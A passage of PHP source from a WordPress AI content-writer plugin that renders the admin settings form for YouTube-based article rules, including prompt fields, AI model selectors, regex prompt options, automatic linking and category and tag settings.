rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Intro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">' . esc_textarea($intro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Intro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_intro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_intro_model)) { $topic_intro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_intro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Sections. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Sections Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">' . esc_textarea($sections_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the sections generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Sections Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_sections_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_sections_model)) { $topic_sections_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_sections_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%video_title%%, %%article_so_far%%, %%last_section_content%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Content Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="3" cols="70" name="aiomatic_youtube_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">' . esc_textarea($content_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Content Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_content_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_content_model)) { $topic_content_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_content_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="single_content_call' . esc_html($cont) . '" name="aiomatic_youtube_list[single_content_call][]"'; if($single_content_call == '1') { $output .= ' checked'; } $output .= ' onclick="hideTOC(' . esc_html($cont) . ');"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Q&A. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Q&A Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">' . esc_textarea($qa_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Q&A Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_qa_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_qa_model)) { $topic_qa_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_qa_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post outro. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - to disable article outro, leave this prompt blank - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Article Outro Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">' . esc_textarea($outro_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Outro Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_outro_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_outro_model)) { $topic_outro_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_outro_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Excerpt Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">' . esc_textarea($excerpt_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Excerpt Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[topic_excerpt_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_excerpt_model)) { $topic_excerpt_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_excerpt_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Advanced Prompting Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[strip_by_regex_prompts][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Prompts)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_youtube_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Above Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="run_regex_on' . esc_html($cont) . '" name="aiomatic_youtube_list[run_regex_on][]" type="text" list="run_regex_on_list' . esc_html($cont) . '" class="coderevolution_gutenberg_input" value="' . esc_attr($run_regex_on) . '"/> <datalist id="run_regex_on_list' . esc_html($cont) . '"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Global Prompt Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Prepend Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full">' . esc_textarea($global_prepend) . '</textarea> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Append Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full">' . esc_textarea($global_append) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_youtube_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_youtube_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_youtube_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_youtube_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_youtube_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Category Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post categories from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_youtube_list[auto_categories][]"> <option value="disabled"'; if ($auto_categories == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_categories == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_categories == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_categories == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_categories == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[category_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($category_model)) { $category_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($category_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/') . ' </div> </div> <b>' . esc_html__("Prompt For The AI Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_youtube_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($category_ai_command) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select multiple class="cr_width_full" id="default_category" name="aiomatic_youtube_list[default_category' . esc_html($cont) . '][]" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678"'; if(!is_array($default_category)) { $default_category = array($default_category); } if(count($default_category) == 1) { foreach($default_category as $dc) { if ("aiomatic_no_category_12345678" == $dc) { $output .= ' selected'; break; } } } $output .= '>' . esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($categories as $category) { $output .= '<option value="' . esc_attr($category->term_id) . '"'; foreach($default_category as $dc) { if ($category->term_id == $dc) { $output .= ' selected'; break; } } $output .= '>' . sanitize_text_field($category->name) . ' - ID ' . esc_html($category->term_id) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_youtube_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Add Inexistent Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_youtube_list[skip_inexist][]"'; if($skip_inexist == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Tag Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post tags from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_youtube_list[auto_tags][]"> <option value="disabled"'; if ($auto_tags == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_tags == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_tags == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_tags == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_tags == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_youtube_list[tag_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($tag_model)) { $tag_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($tag_model == $modelx) { $output .= " 